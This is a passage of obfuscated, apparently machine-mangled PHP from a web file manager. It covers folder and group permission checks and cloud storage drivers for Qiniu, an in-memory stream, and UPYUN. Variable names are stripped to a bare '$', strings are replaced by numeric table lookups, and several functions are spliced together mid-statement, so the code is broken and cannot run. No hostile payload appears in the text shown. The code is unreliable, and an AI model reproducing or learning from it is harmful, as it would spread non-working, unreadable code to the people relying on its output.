$[$[190]] = SourceModel::TYPE_USER; } $[] = array($[193] => $, $[190] => intval($[$[190]]), $[577] = 
> intval($[$[577]]), $[2071] => intval($[$[2071]]) ? intval($[$[2071]]) : 0, $[2131] => intval($[$ 
[2131]]) ? intval($[$[2131]]) : -1); } $this->where(array($[499] => $))->delete(); $this->addAll($); return !0; } p 
ublic function authClear($) { $ =& $_SERVER[]; $ = Model($[1414])->sourceInfo($); $ = array($); if ($ 
[$[493]] == $[91]) { $ = array($[660] => array($[620], $[$[592]] . $ . $[621])); $ = Model( 
$[1414])->field($[499])->where($)->getField($[193], !0); $[] = $; } $this->where(array($[499] => array($[50 
0], $)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[]; $ = Model($[1414])->sourc 
eInfo($); if ($[$[493]] != $[91]) { return $this->sourceListAuth(array($)); } if ($[$[190]] != SourceModel 
::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($[$[192]] == $[228] && $[$[577]] != $) { 
$ = $this->groupChidldAllRootSource($[$[577]]); } $ = $this->field($[193])->group($[193])->select(); $ = arra 
y_to_keyvalue($, $[12], $[193]); if (!$) { return array(); } $ = $[2150]; $ = array($[193] => array($[7] 
, $), $[513] => $[228]); $ = Model($[897])->field($)->where($)->select(); $ = array($); foreach ($ 
 as $) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ = $[$[592]] . $[$[193]] . $ 
[50]; if (strstr($, $)) { $[] = $[$[193]]; break; } } } return $this->sourceListAuth($); } private function source 
ListAuth($) { $ =& $_SERVER[]; $ = Model($[1414])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($ 
); $ = array(); $ = array(); foreach ($ as $) { unset($[$[537]]); unset($[$[535]]); unset($[$ 
[495]]); unset($[$[90]]); $ = $[$[$[193]]]; if (!$) { continue; } $[$[2151]] = $this->authTarg 
etInfo($); $[$[590]] = rtrim($[$[596]], $[8]) . $[8] . ltrim($[$[590]], $[8]); $[] = $ 
; $ = count(explode($[8], trim($[$[590]], $[8]))); $[] = $ + ($[$[33]] == $[78] ? 0 : 1000 
); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; 
$ = Model($[2152])->groupChildrenAll($); $ = array($[192] => 0, $[577] => array($[7], $), $[190] 
=> SourceModel::TYPE_GROUP); $ = Model($[897])->field($[193])->where($)->select(); $ = array_to_keyvalue($, $ 
[12] = 2 << 25; foreach ($ as $) { $ = Model($[579])->listData($[$[2071]]); if (!$) { continue; } if 
($[$[190]] == SourceModel::TYPE_USER) { $ = Model($[585])->getInfoSimpleOuter($[$[577]]); if ($[$[1 
764]] == $[1269]) { continue; } if ($[$[1764]] == $[228]) { $[$[32]] = LNG($[2153]); } } else { $ = 
Model($; } if ($[$[190]] == SourceModel::TYPE_USER && $[$[577]] == $[228]) { $ = 0; } $[] = $[$ 
[495]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { 
$ =& $_SERVER[]; $ = Model($[606])->getInfo($); if (!$ || !$ || !$) { return array(); } $ 
= Model($[1414])->sourceInfo($); $ = array(); $ = 1; if ($[$[192]] == $[228] && $[$[577]] ! 
= $ && $this->groupContainUser($[$[577]], $)) { foreach ($[$[2154]] as $) { $ = Model($[593])- 
>getInfo($[$[1963]]); $ = Model($[606])->getInfoSimpleOuter($); $[$[548]] = $[$[495]]; if (Mo 
del($[579])->authCheckAction($[$[495]][$[495]], $[1984])) { continue; } $ = array($[32] => $[12 
89] . $[$[32]], $[193] => $[$[90]][$[193]], $[87] => KodIO::make($[$[90]][$[193]]), $ 
[192] => $[228], $[190] => $[586], $[33] => $[624], $[590] => $[$[597]], $[1963] => 
$[$[1963]], $[594] => $[$[192]], $[2151] => array($)); $[$[$[193]]] = $; } } $ 
 = array(); $ = $this->getAllChildren($); foreach ($ as $) { $ = !1; foreach ($[$[2151]] as $) { if ($ 
[$[1764]]) { if ($[$[1764]] == $) { $ = !0; break; } } if ($[$[1963]]) { if ($this->groupContainU 
ser($[$[1963]], $)) { $ = !0; break; } } } if ($) { $[] = $; } $ = $[$[193]]; if (isset($ 
[$])) { $[$[2151]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = 
array_merge($, $); return $; } public function setAllChildrenByUser($, $, $) { $ =& $_SERVER[]; $ 
 = $this->getAllChildrenByUser($, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ = array(); for 
each ($[$[2151]] as $) { $ = $[$[548]]; $ = $[$[1764]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GR 
OUP; $ = $[$[1764]] ? $[$[1764]] : $[$[1963]]; if ($[$[1764]] && $[$[1764]] == $) { conti 
nue; } $[] = array($[193] => $[$[193]], $[190] => $, $[577] => intval($), $[2071] => isset($[$ 
[483]]) ? intval($[$[483]]) : 0, $[2131] => isset($[$[2131]]) ? intval($[$[2131]]) : -1); } $[] = array 
($[193] => $[$[193]], $[190] => SourceModel::TYPE_USER, $[577] => intval($), $[2071] => intval($), $[ 
2131] => -1); $this->where(array($[499] => $[$[193]]))->delete(); $this->addAll($); } return !0; } public function get($ 
) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($, $ = false, $ = fa 
lse) { $ =& $_SERVER[]; if (!$) { return array(); } $ = Model($[1414]); if (!$ && count($) == 1) { $ = a 
rray(); $[$[0]] = $->sourceInfo($[0]); } if (!$) { $ = array($[499] => array($[500], $)); $ = $ 
->field($[2155])->where($)->select(); $ = array_to_keyvalue($, $[193]); } $ = $; foreach ($ as $ 
=> $) { $ = $->parentLevelArray($[$[592]]); $ = array_merge($, array($), array_reverse($)); } 
$ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array() 
; foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ 
 = AuthModel::authAll(); $ = array($[496] => $, $[2156] => array($[501] => 0, $[1969] => $, $[502] => 
LNG($[2157]), $[1986] => $[2158])); $ = array(); foreach ($ as $ => $) { if ($ && $GLOBALS[$[6]][ 
$[1982]]) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } publ 
ic function authDeepCheck($, $ = $this->makeAuthDee 
p($[$[2159]])) { return !1; } $ = array(); foreach ($[$[2160]] as $ => $) 
{ if (!in_array($, $)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ ? $[0] : $; re 
turn array($[496] => -1, $[548] => array($[501] => $[1269], $[1969] => $[228], $[502] => LNG($ 
[2161]), $[1986] => $[2162]), $[2163] => LNG($[2164]), $[2165] => $this->sourceAuthInfo($)); } protecte 
d function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($ 
[$])) { return $[$]; } $ = Model($[2166])->listData(); $ = array(); foreach ($ as $) { if ($[$[49 
5]] == 0 && $[$[1985]] == $[91]) { $[] = $[$[483]]; } } $ = $this->userGroupParents($); $ = array( 
$[190] => SourceModel::TYPE_USER, $[577] => $); if ($) { $ = array(array($[190] => SourceModel::TYPE_USER, $[ 
577] => $), array($[190] => SourceModel::TYPE_GROUP, $[577] => array($[500], $)), $[1074] => $[2065]); } $ 
 = $this->field($[2167])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($, $[193]); foreach ($ 
 as $ => $) { $ = $this->authArrayCheck($, $); if ($[$[496]] > 0) { $[] = $ . $[12]; } 
} if ($) { $ = Model($[593]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($ 
[$[90]])) { continue; } $[] = $[$[90]][$[193]]; } } $ = array(); $ = $; $ = Model($[1414]); $ 
 = Model($[593]); $ = array(); $ = array(); $ = array(); $ = array(); if ($) { $ = $->where(array($ 
[193] => array($[500], $)))->select(); foreach ($ as $) { $ = $->parentLevelArray($[$[592]]); $ = arr 
ay_merge($, $); $[] = $[$[577]]; $[$[$[193]]] = $; $[$[$[193]]] = $[$[577]]; } } 
$ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $->getInfo($); $ = $- 
>parentLevelArray($[$[592]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ a 
s $) { $ = $->getInfo($); $[] = $[$[90]][$[193]]; $[$] = $[$[90]][$[193]]; $[$ 
] = $->parentLevelArray($[$[592]]); } foreach ($ as $ => $) { $ = $[$]; if (!$ || !$ 
[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $[$] = array_merge($ 
, $); } $ = array_values(array_unique($)); $ = array($[2159] => $, $[2160] => $); $[$] = $ 
; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[91]; $ 
 = $[$[577]]; $ = $[$[190]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1 
; if ($ && Model($[579])->authCheckAction($[$[495]], $[1984])) { return $this->groupAuthInfo($, $); } $ 
 = Model($[1414])->parentLevelArray($[$[592]]); $ = array_merge(array($[$[193]]), array_reverse($)); $ 
= !1; foreach ($ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $); if ($[$ 
[548]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $ 
); } if (!$) { $ = Model($[593])->getInfo($); $ = explode($[50], trim($[$[592]], $[50])); $ 
 = array_reverse($); foreach ($ as $) { if ($ == $[228] || $ == $) { continue; } $ = $this->group 
RootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[ 
496]] <= 0) { $ = $this->authDeepCheck($[$[193]], $); if ($) { $ = $; } } return $; } private functio 
n userIsRoot($ = false) { $ =& $_SERVER[]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($[606])-> 
getInfo($); $ = Model($[2168])->listData($[$[2169]]); if ($ && $[$[583]][$[2170]] == 1) { return 
!0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1414]); $ = $->sourc 
eInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $ 
 = $[0]; $ = $[$[590]]; if (isset($[$[598]])) { $ = explode($[8], trim($[$[590]], $[8])); 
array_shift($); $ = $[$[596]] . $[2171] . implode($[8], $); } return array($[502] => $[$[32]], 
$[87] => KodIO::make($[$[193]]), $[2172] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[ 
]; $ = Model($[593])->getInfo($); return array($[2173] => intval($[$[495]]), $[2156] => $, $[2174 
] => LNG($[2175]), $[2165] => array($[502] => $[$[32]], $[87] => KodIO::make($[$[90]][$[193]]), $ 
[2172] => $[$[597]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ 
 : USER_ID; $ = $ . $[2176] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ 
= Model($[593])->getInfo($); $ = $this->userGroupList($); $ = isset($[$]) ? $[$][$[495]] : !1; 
if ($ && Model($[579])->authCheckAction($[$[495]], $[1984])) { $[$] = $; return $; } $ = $this->sourceA 
uthSelect($[$[90]][$[193]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$[548]] : !1; $ 
[$] = $ ? $ : $; return $[$]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty( 
$[$[495]]) || isset($[$[2177]]) && $[$[2177]]) { return $; } if (AuthModel::authCheckRoot($[$[4 
95]][$[496]])) { return $; } $ = Model($[1414])->parentLevelArray($[$[592]]); $ = array_merge(array($[ 
$[193]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $ 
 => $) { $ = $this->authFolderOwnerUser($); $[$] = $; $ = array_merge($, $[$[670]]); if ( 
$[$[2178]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$[577]]); } $ = array_unique 
($); if (AuthModel::authCheckRoot($[$[495]][$[496]])) { $[] = USER_ID; } $[$[495]][$[2179]] = Model($ 
[585])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($ 
[2057])->where(array($[1963] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $ 
= $this->authInfo($); if (AuthModel::authCheckRoot($[$[495]])) { $[] = $[$[1764]]; } } return $; } private function 
authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $ = !1; foreach ($ as $) { $ = $this->authI 
nfo($); if ($[$[577]] == $[228]) { $ = !0; } if ($[$[190]] == SourceModel::TYPE_USER) { if (AuthModel::aut 
hCheckRoot($[$[495]])) { $[] = $[$[577]]; } } } return array($[670] => $, $[2178] => $); } pub 
lic function authMake($, $ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($, $); if ($[$[2180]]) { $ 
[$[2180]] = $this->sourceAuthInfo($[$[2180]]); } return $; } public function authArrayCheck($, $ = false) { $ = 
& $_SERVER[]; if (!$) { return array($[496] => 0, $[548] => !1); } $ = $ ? $ : USER_ID; $ = 0; 
$ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ = 0; $ = 0; $ = array($ 
[193] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[577]]; $ = i 
ntval($[$[495]]); if ($[$[190]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $ = $ 
; } else { if ($[$[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this- 
>groupStepToUserGroup($, $); if ($ < $) { $ = $; $ = $; $ = $; $ = $; } if ($ = 
= $ && $ >= $) { $ = $; $ = $; $ = $; } } else { if ($ == $[228]) { $ = !0; $ = 
$; $ = $; } } } } if ($) { $ = $; $ = $; $ = LNG($[2181]); } else { if ($) { $ 
= $; $ = $; $ = Model($[593])->getInfo($); $ = $[176] . $[$[597]] . $[2182] . LNG( 
$[2183]); } else { if ($) { $ = $; $ = $; $ = LNG($[2153]); } else { $ = 0; $ = !1; $ 
 = $[12]; } } } $ = array($[2173] => intval($), $[2156] => $, $[2174] => $, $[2165] => $ 
[$[193]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupPare 
nts($)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($ 
); $ = 1000; $ = $GLOBALS[$[6]][$[92]][$[2070]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($ 
[$[1963]] == $) { return 0; } $ = explode($[50], trim($[$[592]], $[50])); if ($[0] == $[22 
8] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !== 
!1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SER 
VER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[606])->getInfo($); $[$] 
= array_to_keyvalue($[$[2154]], $[1963]); return $[$]; } public function userGroupParents($) { $ =& $_SERVER[ 
]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupLi 
st($); $ = array(); $ = $GLOBALS[$[6]][$[92]][$[2070]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { 
$ = array($[$[1963]]); $ = explode($[50], trim($[$[592]], $[50])); if ($[0] == $[228] && count( 
$) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($, 
$); } $[$] = array_unique($); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[ 
]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[190]] == SourceModel::TYPE_USER) { $[] = intv 
al($[$[577]]); } else { if ($[$[190]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[577]]); } } } if ($ 
) { $ = Model($[585])->userListInfo($); } if ($) { $ = array($[2055] => array($[500], $)); $ = 
Model($[593])->field($[2184])->where($)->select(); $ = array_to_keyvalue($, $[1963]); } return array($[2185 
] => $, $[2186] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[2071]]) { $ = 
Model($[579])->listData($[$[2071]]); if (!$) { return !1; $ = Model($[579])->listData(); $ = array_fil 
ter_by_field($, $[495], $[228]); return $; } $ = array_field_key($, array($[483], $[32], $[ 
495], $[1986], $[1987])); $[$[2187]] = $; return $; } else { return array($[501] => 0, $[1969] => 
$[$[2131]], $[502] => $[12], $[1986] => $[2188]); } } } goto e; e: class PathDriverQiniu extends Pat 
hDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; pro 
tected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "0"; public $ioFileOutServer = " 
0"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1522]; 
$this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ = 
> $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this-> 
domain)) { throw new Exception($[1523] . LNG($[1458])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->clie 
nt = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager( 
$this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public func 
tion isBucketCors() { return !0; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $ 
)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; 
$ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $ 
= get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $t 
his->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $) { $ = $this->bucketM 
anager->copy($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile 
($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathO 
uter($); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->buck 
et, $); return $ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { retu 
rn !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $ 
[8]; if (!empty($) && $ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; } 
$ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$ 
) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { 
$ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($); if ($) { 
return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInf 
o($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $ 
this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$[1524]]) ? $[$[1524]] : 0, $[169] 
=> $this->ext($)); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[2 
33]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[234]]) && $ 
[$[234]]) { $[$[235]] = $[$[234]]; } if (isset($[$[245]]) && $[$[245]]) { $[$[235]] = $ 
[$[245]]; } if (isset($[$[1525]])) { $[$[88]] = substr($[$[1525]] . $[12], 0, 10); } if (isset($ 
[$[1524]])) { $[$[79]] = $[$[1524]]; } return $; } public function folderInfo($, $ = false) { $ 
=& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $ 
[33] => $[78]); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$ 
[233]] = !0; $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (isset($[$[1525]])) { $ 
[$[88]] = substr($[$[1525]] . $[12], 0, 10); } return $; } public function listPath($, $ = false) { $ 
 =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]] 
[$] = $this->folderInfo($, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($ 
[$[97]], $, $); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[] 
; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $ = $ 
[12]; $ = 500; $ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFi 
les($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1470], $) ? $ = $ 
[$[1526]] : $[12]; if ($) { if (!empty($[$[1527]])) { $ += count($[$[1527]]); } if (!empty($ 
[$[1528]])) { $ += count($[$[1528]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($ 
[$[1527]])) { return !0; } } else { if (!empty($[$[1528]])) { return !0; } } if ($ === $[12]) { break; } } if 
($) { return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[ 
]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $ 
) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } private function fileList 
($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $ 
[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); list($ 
, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists( 
$[1470], $) ? $ = $[$[1526]] : $[12]; $ = isset($[$[1527]]) ? $[$[1527]] : array(); $ 
= isset($[$[1528]]) ? $[$[1528]] : array(); foreach ($ as $) { if ($[$[97]] == $) { continue; } $ 
 = $[$[97]]; $ = $[$[1524]]; $[$[79]] = $; $ = $ == 0 && substr($, strlen($) - 1, 1) 
== $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ 
: $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($ 
 === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $); } public funct 
ion canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } publi 
c function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this-> 
tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return 
!0; } return !1; } public function refreshUrls($) { $ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ 
as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); l 
ist($, $) = $->refreshUrls($); if ($) { return !1; } return $[$[1260]] == $[832] ? !0 : !1; } public fu 
nction fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if 
($ > 0) { $ = $ + $ - 1; $ = array($[1529] . $ . $[470] . $); } $ = url_request($, $ 
[261], !1, $); return $[$[823]] ? $[$[1283]] : !1; } public function upload($, $, $ = false, $ 
 = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_f 
ile_mime(get_path_ext($)); list($, $) = $->putFile($, $, $, null, $); return $ ? !1 : $this->getP 
athOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUp 
loadFormData($, $ = 3600) { return $this->uploadToken($, $); } private function uploadToken($, $ = 3600) { 
$ =& $_SERVER[]; $ = $; $ = array($[1530] => $[1531]); $ = $; $ = $this->auth->upl 
oadToken($this->bucket, $, $, $, !0); $ = empty($this->region) || $this->region == $[1532] ? $[12] : $ 
[470] . $this->region; $ = http_type() . "://upload{$}.qiniup.com/"; ret 
urn array($[1533] => $, $[1534] => $); } public function download($, $) { $ = IO::getPathInner(IO::mk 
file($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[ 
][1535]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ 
+= $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = '') { if (!$this- 
>isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->priv 
ateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; i 
f ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($) 
; } $ = $ ? $[1536] . rawurlencode($) : $[12]; $ = $this->link($, $); $this->fileOutLink($); } publ 
ic function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public f 
unction fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } 
$ = $this->link($, $_SERVER[][1537] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ 
= 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->objectMeta($ 
); return isset($[$[245]]) ? $[$[245]] : !1; $ = $this->link($, $[1538]); } public function size($) { $ 
 = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($ 
)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public fun 
ction exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder 
($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][179], $); } protecte 
d function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $ 
 =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[79]] = intval($ 
[$[1524]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ 
== $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], 
$[12], 1, $[8]); return !empty($[$[1527]]) || !empty($[$[1528]]) ? !0 : !1; } } class PathDriverStream ext 
ends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); 
$this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSiz 
e = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize 
; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ 
 = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $) 
{ $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == 
self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $); 
$ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5 
($this->getContent()); } public static function hash($, $ = 0) { $ = new PathDriverStream($, $); return $->has 
hSimple($); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($ 
); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protect 
ed $domain = ''; protected $token = ''; protected $endpoint = "http://v0.api.upyun. 
com"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this-> 
_init($); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (isset($this->{$})) { 
$this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1539] 
. LNG($[1458])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function is 
BucketCors() { return !0; } private function ussHeaders($, $ = "GET") { $ =& $_SERVER[]; $ = gmdate($ 
[1487]); $ = base64_encode(hash_hmac($[1540], "{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ = array( 
"Authorization:UPYUN {$this->username}:{$}", "Date:{$ 
}"); return $; } public function ussRequest($, $ = "GET", $ = false, $ = false, $ = false) { $ =& 
$_SERVER[]; $ = trim($, $[8]); $ = "/{$this->bucket}/{$}"; $ = $this->ussHeaders($, $); 
if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $, $, $, $, $); if (!$) 
{ $ = LNG($[1541]); $this->writeLog($); return array($[1293] => !1, $[1283] => $); } if (strtolower($) = 
= $[227] || in_array($[$[1293]], array($[274], $[1542]))) { $ = $[$[1543]]; } else { $ = json_dec 
ode($[$[1283]], !0); if (!$) { $ = $[$[1283]]; } else { if (!$[$[823]] && isset($[$[1544]])) 
{ $ = $[$[1544]]; } } } if (!$[$[823]]) { $this->writeLog($this->__errorMessage($)); } return array($[1293 
] => $[$[823]], $[1283] => $); } private function __errorMessage($) { $ =& $_SERVER[]; if (!$) { return 
$[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $[1497]) { return $; } $ = array($ 
[1545] => $[1546], $[1547] => $[1548], $[1549] => $[1548], $[1550] => $[1551], $[1552] => $ 
[1553], $[1554] => $[1555], $[1556] => $[1557]); return isset($[$]) ? $[$] : $; } public function mk 
file($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; 
} public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($ 
)) { return $this->getPathOuter($); } $ = array($[1558]); $ = $this->ussRequest($, $[257], !1, $); r 
